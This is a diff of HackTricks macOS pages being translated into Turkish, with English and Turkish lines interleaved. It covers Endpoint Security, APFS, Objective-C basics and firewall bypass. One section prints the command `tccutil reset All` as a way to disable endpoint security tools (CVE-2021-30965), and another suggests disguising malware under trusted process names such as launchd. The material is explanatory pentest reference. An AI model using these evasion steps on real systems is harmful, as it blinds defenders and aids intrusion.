Kernel Uzantılarının aksine, **Sistem Uzantıları kullanıcı alanında çalışır** ve bu da uzantı arızası nedeniyle sistem çökmesi riskini azaltır.
|
||||
|
||||
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
|
||||
|
||||
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
|
||||
Üç tür sistem uzantısı vardır: **DriverKit** Uzantıları, **Ağ** Uzantıları ve **Uç Nokta Güvenliği** Uzantıları.
|
||||
|
||||
### **DriverKit Extensions**
|
||||
### **DriverKit Uzantıları**
|
||||
|
||||
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
|
||||
DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerini alır. Cihaz sürücülerinin (USB, Seri, NIC ve HID sürücüleri gibi) kernel alanında değil, kullanıcı alanında çalışmasına olanak tanır. DriverKit çerçevesi, **belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini** içerir ve kernel, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar.
|
||||
|
||||
### **Network Extensions**
|
||||
### **Ağ Uzantıları**
|
||||
|
||||
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
|
||||
Ağ Uzantıları, ağ davranışlarını özelleştirme yeteneği sağlar. Birkaç tür Ağ Uzantısı vardır:
|
||||
|
||||
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
|
||||
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
|
||||
- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
|
||||
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
|
||||
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
|
||||
- **Uygulama Proxy**: Akış odaklı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bağlantılara (veya akışlara) göre yönetmesi anlamına gelir.
|
||||
- **Paket Tüneli**: Bireysel paketlere dayalı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bireysel paketlere göre yönetmesi anlamına gelir.
|
||||
- **Veri Filtreleme**: Ağ "akışlarını" filtrelemek için kullanılır. Akış düzeyinde ağ verilerini izleyebilir veya değiştirebilir.
|
||||
- **Paket Filtreleme**: Bireysel ağ paketlerini filtrelemek için kullanılır. Paket düzeyinde ağ verilerini izleyebilir veya değiştirebilir.
|
||||
- **DNS Proxy**: Özel bir DNS sağlayıcısı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir.
|
||||
|
||||
## Endpoint Security Framework
|
||||
## Uç Nokta Güvenliği Çerçevesi
|
||||
|
||||
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
|
||||
Uç Nokta Güvenliği, Apple tarafından macOS'ta sağlanan bir çerçevedir ve sistem güvenliği için bir dizi API sunar. **Güvenlik satıcıları ve geliştiricilerin kötü niyetli etkinlikleri tanımlamak ve korumak için sistem etkinliğini izleyip kontrol edebilecekleri ürünler geliştirmeleri amacıyla kullanılması amaçlanmıştır.**
|
||||
|
||||
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
|
||||
Bu çerçeve, **sistem etkinliğini izlemek ve kontrol etmek için bir dizi API** sağlar; bu, işlem yürütmeleri, dosya sistemi olayları, ağ ve kernel olayları gibi etkinlikleri içerir.
|
||||
|
||||
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
|
||||
Bu çerçevenin temeli, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak kernel'de uygulanmıştır. Bu KEXT, birkaç ana bileşenden oluşur:
|
||||
|
||||
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
|
||||
- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
|
||||
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
|
||||
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
|
||||
- **EndpointSecurityDriver**: Bu, kernel uzantısı için "giriş noktası" olarak işlev görür. OS ile Uç Nokta Güvenliği çerçevesi arasındaki ana etkileşim noktasıdır.
|
||||
- **EndpointSecurityEventManager**: Bu bileşen, kernel kancalarını uygulamaktan sorumludur. Kernel kancaları, çerçevenin sistem çağrılarını keserek sistem olaylarını izlemesine olanak tanır.
|
||||
- **EndpointSecurityClientManager**: Bu, kullanıcı alanı istemcileriyle iletişimi yönetir, hangi istemcilerin bağlı olduğunu ve olay bildirimlerini alması gerektiğini takip eder.
|
||||
- **EndpointSecurityMessageManager**: Bu, kullanıcı alanı istemcilerine mesajlar ve olay bildirimleri gönderir.
|
||||
|
||||
The events that the Endpoint Security framework can monitor are categorized into:
|
||||
Uç Nokta Güvenliği çerçevesinin izleyebileceği olaylar şunlara ayrılır:
|
||||
|
||||
- File events
|
||||
- Process events
|
||||
- Socket events
|
||||
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
|
||||
- Dosya olayları
|
||||
- İşlem olayları
|
||||
- Soket olayları
|
||||
- Kernel olayları (örneğin, bir kernel uzantısının yüklenmesi/boşaltılması veya bir I/O Kit cihazının açılması)
|
||||
|
||||
### Endpoint Security Framework Architecture
|
||||
### Uç Nokta Güvenliği Çerçevesi Mimarisi
|
||||
|
||||
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
|
||||
|
||||
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
|
||||
**Kullanıcı alanı iletişimi**, Uç Nokta Güvenliği çerçevesi ile IOUserClient sınıfı aracılığıyla gerçekleşir. İki farklı alt sınıf, çağıran türüne bağlı olarak kullanılır:
|
||||
|
||||
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
|
||||
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
|
||||
- **EndpointSecurityDriverClient**: Bu, yalnızca sistem süreci `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir.
|
||||
- **EndpointSecurityExternalClient**: Bu, `com.apple.developer.endpoint-security.client` yetkisini gerektirir. Bu genellikle Uç Nokta Güvenliği çerçevesiyle etkileşimde bulunması gereken üçüncü taraf güvenlik yazılımları tarafından kullanılır.
|
||||
|
||||
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
|
||||
Uç Nokta Güvenliği Uzantıları:**`libEndpointSecurity.dylib`** sistem uzantılarının kernel ile iletişim kurmak için kullandığı C kütüphanesidir. Bu kütüphane, Uç Nokta Güvenliği KEXT ile iletişim kurmak için I/O Kit (`IOKit`) kullanır.
|
||||
|
||||
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
|
||||
**`endpointsecurityd`** uç nokta güvenliği sistem uzantılarını yönetmek ve başlatmakla ilgili önemli bir sistem daemon'udur, özellikle erken önyükleme sürecinde. **Sadece sistem uzantıları**, `Info.plist` dosyalarında **`NSEndpointSecurityEarlyBoot`** ile işaretlenmiş olanlar bu erken önyükleme muamelesini alır.
|
||||
|
||||
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
|
||||
Başka bir sistem daemon'u, **`sysextd`**, **sistem uzantılarını doğrular** ve bunları uygun sistem konumlarına taşır. Ardından ilgili daemon'dan uzantıyı yüklemesini ister. **`SystemExtensions.framework`** sistem uzantılarını etkinleştirmek ve devre dışı bırakmakla sorumludur.
|
||||
|
||||
## Bypassing ESF
|
||||
## ESF'yi Aşmak
|
||||
|
||||
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
|
||||
ESF, bir kırmızı takım üyesini tespit etmeye çalışan güvenlik araçları tarafından kullanılır, bu nedenle bunun nasıl önlenebileceğine dair herhangi bir bilgi ilginçtir.
|
||||
|
||||
### CVE-2021-30965
|
||||
|
||||
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
|
||||
|
||||
Sorun, güvenlik uygulamasının **Tam Disk Erişimi izinlerine** sahip olması gerektiğidir. Yani, bir saldırgan bunu kaldırabilirse, yazılımın çalışmasını engelleyebilir:
|
||||
```bash
|
||||
tccutil reset All
|
||||
```
|
||||
Daha fazla bilgi için bu bypass ve ilgili olanlar hakkında [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) konuşmasına bakın.
|
||||
|
||||
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
|
||||
Sonunda, bu, **`tccd`** tarafından yönetilen güvenlik uygulamasına yeni izin **`kTCCServiceEndpointSecurityClient`** verilerek düzeltildi, böylece `tccutil` izinlerini temizlemeyecek ve çalışmasını engellemeyecek.
|
||||
|
||||
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
|
||||
- [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
|
||||
|
||||
@ -2,33 +2,29 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apple Propietary File System (APFS)
|
||||
## Apple'a Ait Dosya Sistemi (APFS)
|
||||
|
||||
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
|
||||
**Apple Dosya Sistemi (APFS)**, Hiyerarşik Dosya Sistemi Artı (HFS+) yerine geçmek üzere tasarlanmış modern bir dosya sistemidir. Geliştirilmesi, **geliştirilmiş performans, güvenlik ve verimlilik** ihtiyacından kaynaklanmıştır.
|
||||
|
||||
Some notable features of APFS include:
|
||||
APFS'nin bazı dikkat çekici özellikleri şunlardır:
|
||||
|
||||
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning.
|
||||
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size.
|
||||
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted.
|
||||
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space.
|
||||
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases.
|
||||
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption.
|
||||
|
||||
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
|
||||
1. **Alan Paylaşımı**: APFS, bir fiziksel cihazda **aynı temel boş depolamayı paylaşan birden fazla hacme** izin verir. Bu, hacimlerin manuel yeniden boyutlandırma veya yeniden bölümleme gerektirmeden dinamik olarak büyüyüp küçülmesiyle daha verimli alan kullanımını sağlar.
|
||||
1. Bu, dosya disklerindeki geleneksel bölümlerle karşılaştırıldığında, **APFS'de farklı bölümlerin (hacimlerin) tüm disk alanını paylaştığı** anlamına gelir; oysa normal bir bölüm genellikle sabit bir boyuta sahipti.
|
||||
2. **Anlık Görüntüler**: APFS, **okunabilir** olan, dosya sisteminin belirli bir zamandaki anlık görüntülerini **oluşturmayı** destekler. Anlık görüntüler, minimum ek depolama alanı tüketerek verimli yedeklemeler ve kolay sistem geri yüklemeleri sağlar ve hızlı bir şekilde oluşturulabilir veya geri alınabilir.
|
||||
3. **Klonlar**: APFS, **orijinal dosya veya dizinle aynı depolamayı paylaşan dosya veya dizin klonları oluşturabilir**; bu, ya klon ya da orijinal dosya değiştirilene kadar geçerlidir. Bu özellik, depolama alanını çoğaltmadan dosya veya dizinlerin kopyalarını oluşturmanın verimli bir yolunu sağlar.
|
||||
4. **Şifreleme**: APFS, **tam disk şifrelemesini** yanı sıra dosya ve dizin başına şifrelemeyi de yerel olarak destekleyerek, farklı kullanım senaryolarında veri güvenliğini artırır.
|
||||
5. **Çökme Koruması**: APFS, dosya sistemi tutarlılığını sağlamak için **kopyala-yaz metadata şemasını** kullanır; bu, ani güç kaybı veya sistem çökmesi durumlarında veri bozulma riskini azaltır.
|
||||
|
||||
Genel olarak, APFS, Apple cihazları için daha modern, esnek ve verimli bir dosya sistemi sunar; geliştirilmiş performans, güvenilirlik ve güvenliğe odaklanmaktadır.
|
||||
```bash
|
||||
diskutil list # Get overview of the APFS volumes
|
||||
```
|
||||
|
||||
## Firmlinks
|
||||
|
||||
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`).
|
||||
|
||||
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
|
||||
`Data` hacmi **`/System/Volumes/Data`** dizinine monte edilmiştir (bunu `diskutil apfs list` ile kontrol edebilirsiniz).
|
||||
|
||||
Firmlinklerin listesi **`/usr/share/firmlinks`** dosyasında bulunabilir.
|
||||
```bash
|
||||
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,24 +5,21 @@
|
||||
## Objective-C
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of:
|
||||
> Objective-C ile yazılmış programların, [Mach-O ikili dosyalarına](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) **derlendiğinde** sınıf bildirimlerini **koruduğunu** unutmayın. Bu tür sınıf bildirimleri **şunları içerir**:
|
||||
|
||||
- The class
|
||||
- The class methods
|
||||
- The class instance variables
|
||||
|
||||
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
|
||||
- Sınıf adı
|
||||
- Sınıf yöntemleri
|
||||
- Sınıf örnek değişkenleri
|
||||
|
||||
Bu bilgileri [**class-dump**](https://github.com/nygard/class-dump) kullanarak alabilirsiniz:
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
Bu isimlerin, ikili dosyanın tersine mühendisliğini daha zor hale getirmek için obfuscate edilebileceğini unutmayın.
|
||||
|
||||
Note that this names could be obfuscated to make the reversing of the binary more difficult.
|
||||
|
||||
## Classes, Methods & Objects
|
||||
|
||||
### Interface, Properties & Methods
|
||||
## Sınıflar, Yöntemler & Nesneler
|
||||
|
||||
### Arayüz, Özellikler & Yöntemler
|
||||
```objectivec
|
||||
// Declare the interface of the class
|
||||
@interface MyVehicle : NSObject
|
||||
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
|
||||
|
||||
@end
|
||||
```
|
||||
|
||||
### **Class**
|
||||
|
||||
### **Sınıf**
|
||||
```objectivec
|
||||
@implementation MyVehicle : NSObject
|
||||
|
||||
// No need to indicate the properties, only define methods
|
||||
|
||||
- (void)startEngine {
|
||||
NSLog(@"Engine started");
|
||||
NSLog(@"Engine started");
|
||||
}
|
||||
|
||||
- (void)addWheels:(int)value {
|
||||
self.numberOfWheels += value;
|
||||
self.numberOfWheels += value;
|
||||
}
|
||||
|
||||
@end
|
||||
```
|
||||
### **Nesne & Metod Çağrısı**
|
||||
|
||||
### **Object & Call Method**
|
||||
|
||||
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
|
||||
|
||||
Bir sınıfın örneğini oluşturmak için **`alloc`** metodu çağrılır, bu **her bir özellik için bellek ayırır** ve bu tahsisatları **sıfırlar**. Ardından **`init`** çağrılır, bu da **özellikleri gerekli değerlere** **başlatır**.
|
||||
```objectivec
|
||||
// Something like this:
|
||||
MyVehicle *newVehicle = [[MyVehicle alloc] init];
|
||||
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
|
||||
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
|
||||
[newVehicle addWheels:4];
|
||||
```
|
||||
### **Sınıf Yöntemleri**
|
||||
|
||||
### **Class Methods**
|
||||
|
||||
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
|
||||
|
||||
Sınıf yöntemleri, örnek yöntemleriyle kullanılan eksi işareti (-) yerine **artı işareti** (+) ile tanımlanır. **NSString** sınıf yöntemi **`stringWithString`** gibi:
|
||||
```objectivec
|
||||
+ (id)stringWithString:(NSString *)aString;
|
||||
```
|
||||
|
||||
### Setter & Getter
|
||||
|
||||
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**:
|
||||
|
||||
Özellikleri **ayarlamak** ve **almak** için, bunu **nokta notasyonu** ile veya bir **metodu çağırıyormuş** gibi yapabilirsiniz:
|
||||
```objectivec
|
||||
// Set
|
||||
newVehicle.numberOfWheels = 2;
|
||||
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
|
||||
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
|
||||
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
|
||||
```
|
||||
### **Örnek Değişkenleri**
|
||||
|
||||
### **Instance Variables**
|
||||
|
||||
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
|
||||
|
||||
Setter ve getter yöntemlerine alternatif olarak örnek değişkenlerini kullanabilirsiniz. Bu değişkenler, özelliklerle aynı isme sahiptir ancak "\_" ile başlar:
|
||||
```objectivec
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
||||
}
|
||||
```
|
||||
### Protokoller
|
||||
|
||||
### Protocols
|
||||
|
||||
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
|
||||
|
||||
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
|
||||
Protokoller, (özellikler olmadan) yöntem bildirimleri kümesidir. Bir protokolü uygulayan bir sınıf, bildirilen yöntemleri uygular.
|
||||
|
||||
2 tür yöntem vardır: **zorunlu** ve **isteğe bağlı**. **Varsayılan** olarak bir yöntem **zorunludur** (ancak bunu **`@required`** etiketiyle de belirtebilirsiniz). Bir yöntemin isteğe bağlı olduğunu belirtmek için **`@optional`** kullanın.
|
||||
```objectivec
|
||||
@protocol myNewProtocol
|
||||
- (void) method1; //mandatory
|
||||
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
|
||||
- (void) method3; //optional
|
||||
@end
|
||||
```
|
||||
|
||||
### All together
|
||||
|
||||
### Hepsi Bir Arada
|
||||
```objectivec
|
||||
// gcc -framework Foundation test_obj.m -o test_obj
|
||||
#import <Foundation/Foundation.h>
|
||||
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
|
||||
@implementation MyVehicle : NSObject
|
||||
|
||||
- (void)startEngine {
|
||||
NSLog(@"Engine started");
|
||||
NSLog(@"Engine started");
|
||||
}
|
||||
|
||||
- (void)addWheels:(int)value {
|
||||
self.numberOfWheels += value;
|
||||
self.numberOfWheels += value;
|
||||
}
|
||||
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfWheels);
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfWheels);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main() {
|
||||
MyVehicle* mySuperCar = [MyVehicle new];
|
||||
[mySuperCar startEngine];
|
||||
mySuperCar.numberOfWheels = 4;
|
||||
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
|
||||
[mySuperCar setNumberOfWheels:3];
|
||||
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
|
||||
[mySuperCar makeLongTruck];
|
||||
MyVehicle* mySuperCar = [MyVehicle new];
|
||||
[mySuperCar startEngine];
|
||||
mySuperCar.numberOfWheels = 4;
|
||||
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
|
||||
[mySuperCar setNumberOfWheels:3];
|
||||
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
|
||||
[mySuperCar makeLongTruck];
|
||||
}
|
||||
```
|
||||
### Temel Sınıflar
|
||||
|
||||
### Basic Classes
|
||||
|
||||
#### String
|
||||
|
||||
#### Dize
|
||||
```objectivec
|
||||
// NSString
|
||||
NSString *bookTitle = @"The Catcher in the Rye";
|
||||
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
|
||||
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
|
||||
```
|
||||
|
||||
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
|
||||
|
||||
Temel sınıflar **değişmezdir**, bu nedenle mevcut bir dizeye bir dize eklemek için **yeni bir NSString oluşturulması gerekir**.
|
||||
```objectivec
|
||||
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
|
||||
```
|
||||
|
||||
Or you could also use a **mutable** string class:
|
||||
|
||||
Ya da **değiştirilebilir** bir dize sınıfı da kullanabilirsiniz:
|
||||
```objectivec
|
||||
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
|
||||
[mutableString appendString:bookTitle];
|
||||
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
|
||||
[mutableString appendString:@" and published in "];
|
||||
[mutableString appendString:bookPublicationYear];
|
||||
```
|
||||
|
||||
#### Number
|
||||
|
||||
#### Numara
|
||||
```objectivec
|
||||
// character literals.
|
||||
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
|
||||
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
|
||||
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
|
||||
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
|
||||
```
|
||||
|
||||
#### Array, Sets & Dictionary
|
||||
|
||||
#### Dizi, Küme ve Sözlük
|
||||
```objectivec
|
||||
// Inmutable arrays
|
||||
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
|
||||
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
|
||||
|
||||
// Dictionary
|
||||
NSDictionary *fruitColorsDictionary = @{
|
||||
@"apple" : @"red",
|
||||
@"banana" : @"yellow",
|
||||
@"orange" : @"orange",
|
||||
@"grape" : @"purple"
|
||||
@"apple" : @"red",
|
||||
@"banana" : @"yellow",
|
||||
@"orange" : @"orange",
|
||||
@"grape" : @"purple"
|
||||
};
|
||||
|
||||
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
|
||||
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
|
||||
@"red", @"apple",
|
||||
@"yellow", @"banana",
|
||||
@"orange", @"orange",
|
||||
@"purple", @"grape",
|
||||
@"red", @"apple",
|
||||
@"yellow", @"banana",
|
||||
@"orange", @"orange",
|
||||
@"purple", @"grape",
|
||||
nil];
|
||||
|
||||
// Mutable dictionary
|
||||
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
|
||||
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
|
||||
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
|
||||
```
|
||||
|
||||
### Blocks
|
||||
|
||||
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
|
||||
|
||||
Blocks, **nesne gibi davranan fonksiyonlardır** bu nedenle fonksiyonlara geçirilebilir veya **dizilerde** ya da **sözlüklerde** **saklanabilirler**. Ayrıca, **değerler verildiğinde bir değeri temsil edebilirler** bu nedenle lambdalara benzer.
|
||||
```objectivec
|
||||
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
|
||||
//Perform operations here
|
||||
//Perform operations here
|
||||
};
|
||||
|
||||
// For example
|
||||
|
||||
int (^suma)(int, int) = ^(int a, int b){
|
||||
return a+b;
|
||||
return a+b;
|
||||
};
|
||||
NSLog(@"3+4 = %d", suma(3,4));
|
||||
```
|
||||
|
||||
It's also possible to **define a block type to be used as a parameter** in functions:
|
||||
|
||||
Ayrıca, **fonksiyonlarda parametre olarak kullanılacak bir blok türü tanımlamak** da mümkündür:
|
||||
```objectivec
|
||||
// Define the block type
|
||||
typedef void (^callbackLogger)(void);
|
||||
|
||||
// Create a bloack with the block type
|
||||
callbackLogger myLogger = ^{
|
||||
NSLog(@"%@", @"This is my block");
|
||||
NSLog(@"%@", @"This is my block");
|
||||
};
|
||||
|
||||
// Use it inside a function as a param
|
||||
void genericLogger(callbackLogger blockParam) {
|
||||
NSLog(@"%@", @"This is my function");
|
||||
blockParam();
|
||||
NSLog(@"%@", @"This is my function");
|
||||
blockParam();
|
||||
}
|
||||
genericLogger(myLogger);
|
||||
|
||||
// Call it inline
|
||||
genericLogger(^{
|
||||
NSLog(@"%@", @"This is my second block");
|
||||
NSLog(@"%@", @"This is my second block");
|
||||
});
|
||||
```
|
||||
|
||||
### Files
|
||||
|
||||
### Dosyalar
|
||||
```objectivec
|
||||
// Manager to manage files
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
|
||||
// Check if file exists:
|
||||
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
|
||||
NSLog (@"File exists");
|
||||
NSLog (@"File exists");
|
||||
}
|
||||
|
||||
// copy files
|
||||
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
|
||||
NSLog (@"Copy successful");
|
||||
NSLog (@"Copy successful");
|
||||
}
|
||||
|
||||
// Check if the content of 2 files match
|
||||
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
|
||||
NSLog (@"File contents match");
|
||||
NSLog (@"File contents match");
|
||||
}
|
||||
|
||||
// Delete file
|
||||
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
|
||||
NSLog(@"Removed successfully");
|
||||
NSLog(@"Removed successfully");
|
||||
}
|
||||
```
|
||||
|
||||
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
|
||||
|
||||
Ayrıca dosyaları **`NSString`** nesneleri yerine **`NSURL`** nesneleri kullanarak yönetmek de mümkündür. Metot adları benzer, ancak **`Path`** yerine **`URL`** ile.
|
||||
```objectivec
|
||||
|
||||
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,85 +1,75 @@
|
||||
# macOS Bypassing Firewalls
|
||||
# macOS Güvenlik Duvarlarını Aşma
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Found techniques
|
||||
## Bulunan teknikler
|
||||
|
||||
The following techniques were found working in some macOS firewall apps.
|
||||
Aşağıdaki teknikler bazı macOS güvenlik duvarı uygulamalarında çalışır durumda bulundu.
|
||||
|
||||
### Abusing whitelist names
|
||||
### Beyaz liste isimlerini kötüye kullanma
|
||||
|
||||
- For example calling the malware with names of well known macOS processes like **`launchd`**
|
||||
- Örneğin, kötü amaçlı yazılımı **`launchd`** gibi iyi bilinen macOS süreçlerinin isimleriyle çağırmak.
|
||||
|
||||
